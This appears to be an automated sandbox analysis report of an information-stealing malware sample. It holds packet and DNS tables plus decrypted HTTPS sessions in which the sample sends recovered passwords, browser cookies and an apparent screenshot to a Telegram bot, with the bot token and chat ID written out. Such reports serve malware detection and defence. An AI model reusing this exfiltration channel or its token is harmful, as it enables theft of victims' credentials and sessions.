May 18, 2024 01:38:58.068789959 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.070900917 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.116128922 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.425928116 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.425956011 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.426037073 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.426044941 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.426125050 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:58.426140070 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.936476946 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:58.989415884 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:59.245271921 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:59.248157978 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:59.248215914 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:59.248452902 CEST	443	49748	149.154.167.220	192.168.2.4
May 18, 2024 01:38:59.248693943 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:38:59.248693943 CEST	49748	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:03.393627882 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:03.393665075 CEST	443	49749	149.154.167.220	192.168.2.4
May 18, 2024 01:39:03.393989086 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:03.394212961 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:03.394222975 CEST	443	49749	149.154.167.220	192.168.2.4
May 18, 2024 01:39:04.293181896 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:04.293236017 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:04.293292046 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:04.295393944 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:04.295411110 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:04.301446915 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:04.348120928 CEST	443	49749	149.154.167.220	192.168.2.4
May 18, 2024 01:39:04.532150984 CEST	443	49749	149.154.167.220	192.168.2.4
May 18, 2024 01:39:04.532207012 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:04.532218933 CEST	49749	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.516967058 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.517059088 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.518656969 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.518667936 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.518867970 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.520809889 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.568110943 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.878987074 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.879020929 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.879091978 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.879106045 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:05.879179955 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:05.879273891 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:06.037580013 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:06.081942081 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:06.498903036 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:06.499470949 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:06.499521971 CEST	443	49750	149.154.167.220	192.168.2.4
May 18, 2024 01:39:06.499588966 CEST	49750	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:22.015482903 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:22.015512943 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:22.015706062 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:22.019402027 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:22.019417048 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.130584002 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.130657911 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.132775068 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.132785082 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.133117914 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.134525061 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.180104971 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.488487005 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.488534927 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.488703966 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.488725901 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.488795996 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:23.488889933 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.633981943 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:23.738217115 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:24.109774113 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:24.110265017 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:24.110327005 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:24.110637903 CEST	443	49751	149.154.167.220	192.168.2.4
May 18, 2024 01:39:24.111953974 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:24.111953974 CEST	49751	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:27.678694010 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:27.678778887 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:27.679018021 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:27.679343939 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:27.679416895 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:28.771625996 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:28.771852016 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:28.773766994 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:28.773821115 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:28.774174929 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:28.775948048 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:28.816200972 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.129134893 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.129220963 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.129431009 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.129462957 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.129863024 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.129982948 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.266002893 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.266006947 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.266084909 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.266279936 CEST	443	49752	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.266346931 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.266525030 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.266556978 CEST	49752	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.266585112 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.566423893 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.566507101 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:29.566641092 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.566956997 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:29.566981077 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.410002947 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.410187960 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.411886930 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.411938906 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.412192106 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.413441896 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.460108042 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.640496969 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.640568972 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.642040014 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.642052889 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.642504930 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.643656969 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.688116074 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.769951105 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.770036936 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.770654917 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.770750999 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.770981073 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.771020889 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.930491924 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.988389015 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.988481998 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.988938093 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.988962889 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:30.989314079 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:30.989476919 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.128941059 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.179101944 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.238207102 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.398756027 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.401936054 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.402014017 CEST	443	49753	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.402122021 CEST	49753	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.603620052 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.604223967 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.604273081 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.604461908 CEST	443	49754	149.154.167.220	192.168.2.4
May 18, 2024 01:39:31.604530096 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:31.604530096 CEST	49754	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:40.045926094 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:40.045968056 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:40.046037912 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:40.046339035 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:40.046355963 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.170532942 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.170945883 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.173388004 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.173398972 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.173803091 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.175162077 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.216190100 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.519629002 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.519676924 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.519821882 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.519867897 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.520699978 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:41.520761013 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.685163975 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:41.740149021 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:42.147763968 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:42.148614883 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:39:42.148736954 CEST	443	49755	149.154.167.220	192.168.2.4
May 18, 2024 01:39:42.148789883 CEST	49755	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:00.764022112 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:00.764117956 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:00.764214993 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:00.764417887 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:00.764441013 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:01.973586082 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:01.973663092 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:01.975150108 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:01.975158930 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:01.975649118 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:01.976957083 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.024113894 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.332149029 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.332182884 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.332269907 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.332281113 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.332365036 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.332498074 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.492197037 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.535063028 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.947458982 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.948128939 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.948227882 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.948700905 CEST	443	49756	149.154.167.220	192.168.2.4
May 18, 2024 01:40:02.952178955 CEST	49756	443	192.168.2.4	149.154.167.220
May 18, 2024 01:40:02.952178955 CEST	49756	443	192.168.2.4	149.154.167.220

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
May 18, 2024 01:35:56.250650883 CEST	56042	53	192.168.2.4	1.1.1.1
May 18, 2024 01:35:56.261547089 CEST	53	56042	1.1.1.1	192.168.2.4
May 18, 2024 01:38:36.064038038 CEST	51963	53	192.168.2.4	1.1.1.1
May 18, 2024 01:38:36.070816040 CEST	53	51963	1.1.1.1	192.168.2.4

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
May 18, 2024 01:35:56.250650883 CEST	192.168.2.4	1.1.1.1	0x25a4	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false
May 18, 2024 01:38:36.064038038 CEST	192.168.2.4	1.1.1.1	0x3b37	Standard query (0)	api.telegram.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
May 18, 2024 01:35:56.261547089 CEST	1.1.1.1	192.168.2.4	0x25a4	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
May 18, 2024 01:38:36.070816040 CEST	1.1.1.1	192.168.2.4	0x3b37	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.telegram.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49730	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:35:57 UTC	260	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc76a891c5b1d3 Host: api.telegram.org Content-Length: 915 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:35:57 UTC	915	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 38 39 31 63 35 62 31 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 38 39 31 63 35 62 31 64 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 50 57 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 37 2f 32 30 32 34 20 31 39 3a 33 35 3a 35 35 0a 55 73 65 72 Data Ascii: -----------------------------8dc76a891c5b1d3Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc76a891c5b1d3Content-Disposition: form-data; name="caption"New PW Recovered!Time: 05/17/2024 19:35:55User
2024-05-17 23:35:57 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:35:58 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:35:58 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49731	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:35:59 UTC	237	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc76a893006882 Host: api.telegram.org Content-Length: 3951 Expect: 100-continue
2024-05-17 23:35:59 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 38 39 33 30 30 36 38 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 38 39 33 30 30 36 38 38 32 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 43 4f 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 35 2f 31 37 2f 32 30 32 34 20 31 39 3a 33 35 3a 35 37 0a 55 73 65 72 Data Ascii: -----------------------------8dc76a893006882Content-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc76a893006882Content-Disposition: form-data; name="caption"New CO Recovered!Time: 05/17/2024 19:35:57User
2024-05-17 23:35:59 UTC	2877	OUT	Data Raw: 6f 69 64 63 09 46 41 4c 53 45 09 31 33 33 34 30 38 38 37 37 33 35 33 35 39 33 33 34 09 2e 41 73 70 4e 65 74 43 6f 72 65 2e 4f 70 65 6e 49 64 43 6f 6e 6e 65 63 74 2e 4e 6f 6e 63 65 2e 43 66 44 4a 38 4b 69 75 79 5f 42 35 4a 67 46 4d 6f 37 50 65 50 39 35 4e 4c 68 71 77 63 4a 38 6b 6f 44 79 35 70 58 6b 66 6f 57 73 62 35 53 62 62 55 32 68 56 43 62 73 48 32 71 74 39 47 46 5f 4f 56 43 71 46 6b 4c 45 77 68 76 7a 65 41 44 4e 51 4f 46 35 52 53 6d 6b 44 66 68 35 52 71 66 71 6c 4f 6b 78 35 51 57 6f 34 4c 6c 74 76 77 62 30 43 76 77 42 46 44 38 75 6a 6c 6d 33 42 41 67 6c 4f 65 47 63 61 33 5a 61 74 6b 4c 4d 55 6b 48 42 36 61 6c 61 68 55 72 38 71 4a 37 47 5f 33 41 65 6a 74 6f 6f 79 6d 54 57 43 7a 79 4f 38 39 68 73 68 4a 65 58 38 47 68 37 38 6b 6f 68 62 49 77 30 49 51 59 Data Ascii: oidcFALSE13340887735359334.AspNetCore.OpenIdConnect.Nonce.CfDJ8Kiuy_B5JgFMo7PeP95NLhqwcJ8koDy5pXkfoWsb5SbbU2hVCbsH2qt9GF_OVCqFkLEwhvzeADNQOF5RSmkDfh5RqfqlOkx5QWo4Lltvwb0CvwBFD8ujlm3BAglOeGca3ZatkLMUkHB6alahUr8qJ7G_3AejtooymTWCzyO89hshJeX8Gh78kohbIw0IQY
2024-05-17 23:35:59 UTC	50	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 37 36 61 38 39 33 30 30 36 38 38 32 2d 2d 0d 0a Data Ascii: -----------------------------8dc76a893006882--
2024-05-17 23:35:59 UTC	25	IN	HTTP/1.1 100 Continue
2024-05-17 23:36:00 UTC	402	IN	HTTP/1.1 400 Bad Request Server: nginx/1.18.0 Date: Fri, 17 May 2024 23:35:59 GMT Content-Type: application/json Content-Length: 56 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection {"ok":false,"error_code":400,"description":"Logged out"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49739	149.154.167.220	443	6768	C:\Users\user\Desktop\1c47eba374d49cd0a1a90cbd1668854b0fff5dc9b774db190acfc6d15f753dec_dump.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-17 23:37:43 UTC	262	OUT	POST /bot6937426667:AAH5h4aXvUjmlMFV8im9A9lKn7JS7MyNHLA/sendDocument HTTP/1.1 Content-Type: multipart/form-data; boundary=---------------------------8dc8907cde902bb Host: api.telegram.org Content-Length: 66993 Expect: 100-continue Connection: Keep-Alive
2024-05-17 23:37:43 UTC	1024	OUT	Data Raw: 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 39 30 37 63 64 65 39 30 32 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 68 61 74 5f 69 64 22 0d 0a 0d 0a 31 31 36 35 31 32 38 34 38 32 0d 0a 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 38 64 63 38 39 30 37 63 64 65 39 30 32 62 62 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 63 61 70 74 69 6f 6e 22 0d 0a 0d 0a 4e 65 77 20 53 43 20 52 65 63 6f 76 65 72 65 64 21 0a 0a 54 69 6d 65 3a 20 30 36 2f 31 30 2f 32 30 32 34 20 30 34 3a 34 32 3a 35 36 0a 55 73 65 72 Data Ascii: -----------------------------8dc8907cde902bbContent-Disposition: form-data; name="chat_id"1165128482-----------------------------8dc8907cde902bbContent-Disposition: form-data; name="caption"New SC Recovered!Time: 06/10/2024 04:42:56User
2024-05-17 23:37:43 UTC	16355	OUT	Data Raw: f0 15 62 72 d1 0a 16 24 34 e1 25 f1 17 18 19 1a 26 27 28 29 2a 35 36 37 38 39 3a 43 44 45 46 47 48 49 4a 53 54 55 56 57 58 59 5a 63 64 65 66 67 68 69 6a 73 74 75 76 77 78 79 7a 82 83 84 85 86 87 88 89 8a 92 93 94 95 96 97 98 99 9a a2 a3 a4 a5 a6 a7 a8 a9 aa b2 b3 b4 b5 b6 b7 b8 b9 ba c2 c3 c4 c5 c6 c7 c8 c9 ca d2 d3 d4 d5 d6 d7 d8 d9 da e2 e3 e4 e5 e6 e7 e8 e9 ea f2 f3 f4 f5 f6 f7 f8 f9 fa ff da 00 0c 03 01 00 02 11 03 11 00 3f 00 8e 8a 28 af a7 3e 38 28 a9 e2 b4 9a 44 12 60 2c 67 a3 31 c0 3f d4 d4 cb 6b 0a fd e6 69 0f b7 03 ff 00 af fa 56 52 ab 08 ee cd 61 46 72 d9 14 68 ad 55 b5 b6 91 39 8b 6f ba b1 cf eb 9a 86 4d 34 f5 86 55 6f 66 f9 4f f8 52 8d 78 3f 22 a5 87 9c 7c ca 14 54 b3 5b cd 07 fa d8 d9 41 e8 48 e0 fd 0d 45 5b 26 9e c6 2d 35 a3 0a 4a 5a 28 10 Data Ascii: br$4%&'()*56789:CDEFGHIJSTUVWXYZcdefghijstuvwxyz?(>8(D`,g1?kiVRaFrhU9oM4UofORx?"\|T[AHE[&-5JZ(
